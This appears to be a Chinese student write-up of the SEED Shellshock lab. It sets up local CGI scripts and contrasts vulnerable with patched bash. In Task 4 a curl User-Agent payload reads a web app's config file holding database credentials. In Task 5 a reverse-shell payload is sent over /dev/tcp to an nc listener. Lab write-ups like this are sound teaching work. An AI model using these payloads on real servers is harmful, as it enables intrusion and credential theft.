1. Task 1

这部分主要是要求你设计一个小实验看shell是不是有shellshock这个漏洞,我们可以使用下面的命令:

foo="() { echo "hello"; }; echo "extra";"
export foo

1. 有漏洞shell版本

运行结果如下,可以看到运行了后面的echo命令输出extra,也存在函数foo的定义

2. 无漏洞shell版本:

运行结果如下,可以看到未运行后面的echo命令输出extra,也没有函数foo的定义

结论: 用上面的命令可以判断shell是否存在shellshock漏洞

2. Task 2

这部分主要写一个 cgi 脚本,并未涉及到攻击

主要是在 /usr/lib/cgi-bin 下创建一个 cgi 脚本 并配置好权限及测试。

1. 有漏洞shell版本

cgi脚本内容如下:

#!/bin/bash_shellshockecho "Content-type: text/plain"
echo
echo
echo "Hello Wrold"

操作如下, 可以看到cgi脚本成功运行,并输出Hello,World

2. 无漏洞shell版本

具体操作只要将 cgi 脚本的第一行改成下面的即可,/bin/bash 为无此漏洞的shell。

#!/bin/bash

操作如下,可以看到也输出了 Hello,World。

可以说,结果并不出乎意外。因为并没有涉及到攻击,而用到了功能是两个 shell 正常提供的功能,所以结果是一致的。

3. Task 3

这部分主要是修改cgi脚本使其能输出环境变量。

1. 有漏洞shell版本

cgi脚本内容如下:

#!/bin/bash_shellshockecho "Content-type: text/plain"
echo
echo "** Environment variables **"
strings /proc/$$/environ

操作如下,可以看到 cgi 脚本成功输出了环境变量

2. 无漏洞shell版本

修改方式和 task 2一样,请参考 task2

具体操作如下,可以看到也成功输出了环境变量。

可以说,结果并不出乎意外。因为并没有涉及到攻击,而用到了功能是两个 shell 正常提供的功能,所以结果是一致的。

3. cgi脚本的执行过程

具体的执行过程可以参考下图

Apache Server 收到 http请求后,创建各种 http 请求相关的环境变量并调用 fork() 创建子进程处理请求。子进程调用exec来执行对应的脚本。

脚本第一行指出了处理的程序,所以会调用脚本第一行指定的程序(这里也就是shell)来执行 cgi 脚本。而开始的环境变量从apache server 传给子进程 再到shell。

shell 执行完后退出,apache server将输出的结果返回给用户(各进程之间是通过管道连接的,所以shell执行cgi的脚本能到达apache server。)

4. Task 4

这部分主要是实施偷取文件内容攻击

1. 有漏洞shell版本

命令如下:

curl -A "() { echo hello; }; echo Content-type: text/plain; echo; /bin/cat /var/www/CSRF/Elgg/elgg-config/settings.php" http://127.0.0.1/cgi-bin/myprog.cgi

操作如下,可以看到成功能看到 /var/www/CSRF/Elgg/elgg-config/settings.php 的内容,而其中包含着数据库的密码。

攻击的原理是 -A 后面的字符串会作为 http头中 的 agent 发送给服务器,apache agent 会构造相应的环境变量传给 shell,有漏洞的shell 看到环境变量以 A=() { 会识别成shell函数,将=替换成空格,也就是A () {,

而后调用函数解析函数体,而这个函数在遇到 () { echo hello ; }; 最后的分号时,会将分号后面的指令执行,从而被攻击。

2. 无漏洞shell版本

修改方式和 task 2一样,请参考 task2

操作如下,可以看到只显示了环境变量,并没有输出 /var/www/CSRF/Elgg/elgg-config/settings.php 的内容,攻击失败。

没有攻击成功是因为 /bin/bash 通过修改解析环境变量的逻辑修复了这个漏洞,所以攻击失败。

Q: 能否通过此漏洞查看 /etc/shadow 的内容?

A: 不可以。我们可以通过以下命令查看 shell 执行时的 id

curl -A "() { echo hello; }; echo Content-type: text/plain; echo; /usr/bin/id" http://127.0.0.1/cgi-bin/myprog.cgi

操作如下,可以看到shell执行时id为www-data,而查看/etc/passwd 需要特权,所以无法查看。

5. Task 5

这个部分主要是实施攻击并创建反向shell。

为了方便,这里我都在一台机器上进行演示。如要在虚拟机和本地演示,由于虚拟机用的是NAT网络,且我们需要访问虚拟机80端口,所以要在virtualbox设置80端口的端口转发。

并且使用命令时要注意修改命令中的 IP 地址。

1. 有漏洞shell版本

先用以下命令搭建一个服务器,监听8000端口,模拟攻击端。

nc -lv 8000

开启另一个shell窗口进行以下操作,命令如下,就是有漏洞的shell执行分号后面的命令,开启一个shell, -i 表示交互式的,输出重定向到一个网络连接,0<&1表示从这个网络连接读取输入,2>&1表示错误输出也重定向到这个网络连接。

curl -A "() { echo hello; }; /bin/bash -i > /dev/tcp/127.0.0.1/8000 0<&1 2>&1" http://127.0.0.1/cgi-bin/myprog.cgi

这时候查看另一个 shell 窗口可以看反向 shell 已经创建成功了,用户id为 www-data。

2. 无漏洞shell版本

修改方式和 task 2一样,请参考 task2

其他过程和上面的一样,请参考上面的过程

nc状态如下:

可以发现反向shell创建失败,攻击的命令没有被执行而是输出了环境变量。

原因分析:对于有漏洞的shell,会执行分号后面的命令,开启shell并将输入输出重定向到一个外部的tcp连接,连接成功后,我们就可以在外部用这个连接去操作shell了。

而对于没漏洞的shell,分号后面的命令根本不会执行,因为反向shell会创建失败。

6. Task 6

这部分是要用没漏洞的shell重做Task 3 和 Task 5,我已经做了,可以看上面Task 3 和 Task 5的部分,里面包含有漏洞shell和无漏洞shell两部分。

信息安全 SEED Lab2 Shellshock Attack相关推荐

  1. Shellshock Attack SEED-LAB

    实验官方文档链接SEED Project 环境搭建 DNS设置 在我们的设置中,web服务器容器的IP地址为10.9.0.80.服务器的主机名为www.seedlab-shellshock.com.我 ...

  2. Shellshock Attack Lab

    Shellshock Attack Lab 使用Ubuntu 16.04 20.04可以使用docker或者安装apache做后面的task Task1 Bash的版本:在本书提供的SEED Ubun ...

  3. 软件安全课程实验2 Shellshock Attack lab

    Shellshock_Attack_lab 个人博客地址 task 1 //vul.c #include <unistd.h> #include <stdio.h> #incl ...

  4. LAB 2 Shellshock Attack

    Shellshock Attack 利用Shellshock攻击Set-UID程序 Web服务器调用CGI程序 Task 1: Experimenting with Bash Function Tas ...

  5. 信息安全 SEED Lab8 Cross-Site Scripting (XSS) Attack Lab

    这个实验主要是利用CSRF攻击来完成一些恶意的操作.由于整个实验过程要用到网站,这里先配置一下. 网站都部署在本地,且用域名访问,所以我们需要现在 /etc/hosts文件中设置域名到 IP 的映射关 ...

  6. 信息安全 SEED Lab10 Packet Sniffing and Spoofing Lab

    这个实验是关于数据包的嗅探与伪造 1. Task Set 1 这部分主要是利用工具来嗅探数据包,这里用的是 scapy. 可以用下面的命令进行安装. sudo pip3 install scapy 简 ...

  7. Shellshock Lab

    注:全文如下,同时欢迎参观我的个人博客:Shellshock Lab Shellshock 1 Overview-概述 2014 年 9 月 24 日,发现了 bash 中的一个严重漏洞. 该漏洞绰号 ...

  8. 漏洞分析——shellshock实验

    Shellshock Attack Lab 前导知识 SHELL:命令行界面的解释器 Linux下常见Shell: Bourne Again Shell(/bin/bash) C Shell(/usr ...

  9. 什么是ShellShock攻击?

    黑客笔记 本期live互动.答疑相关问题归档(有视频): Shellshock Attack 概述 认识环境变量&&bash 1.普通shell变量和bash [04/12/2018 ...

  10. seed-labs 软件部分-shellshock

    seed-labs 软件部分- shellshock shellshock 背景 shellshock 漏洞 定义 漏洞 bash源码中的错误 shellshock漏洞利用 利用shellshock攻 ...

最新文章

  1. 木棍分割[HAOI2008]
  2. Authentication vs. Authorization 验证与授权[整理]
  3. qemu debug linux内核,qemu调试linux内核
  4. tensorflow 之 ValuError: At least two variables have the same name: bottom/bn1/beta_power0 等
  5. 深入到系统组件是否白盒测试_2019年系统集成项目管理工程师:第一章 信息化知识(三)要点?...
  6. uplift model学习笔记
  7. php数值操作,php数值计算num类简单操作示例
  8. Java连接sap无明显报错信息,Kettle连接SAP报错问题
  9. 小学在班里排第几名家长才比较放心?
  10. IEEE 754——计算机中浮点数的表示方法
  11. MyCat分片规则之取模分片
  12. 计算机密码忘了 开不了机怎么办,开机密码忘了怎么办
  13. 2019春季高考计算机试题,山东省2019春季高考模拟考试信息技术试试卷+答案(10页)-原创力文档...
  14. 中间件是什么?通俗易懂的解释
  15. Qt官方示例-语法高亮器
  16. Golang验证身份证号码是否有效
  17. iOS 直播间礼物动画队列
  18. 企业微信如何设置通讯录权限?
  19. 【dqmp项目笔记】
  20. Codeforces 786A Berzerk(博弈)

热门文章

  1. 伽卡他卡终极毁灭版---如何卸载!!!
  2. DSPE-PEG9-Mal纯度是95%以上的单分散小分子PEG试剂
  3. CSS Cascading Style Sheets 层叠样式表:CSS了解 (一)
  4. Spring Cloud Loadbalancer
  5. 上海交通大学学生生存手册
  6. cpython cython_Cython笔记
  7. 【论文阅读】Iterative Answer Prediction with Pointer-Augmented Multimodal Transformers for TextVQA
  8. 大学四年对比度:看的见的青春渐变
  9. 远程桌面之客户端连接(MAC远程Windows桌面)
  10. [教程] PSP 5.00M33-6升级图文教程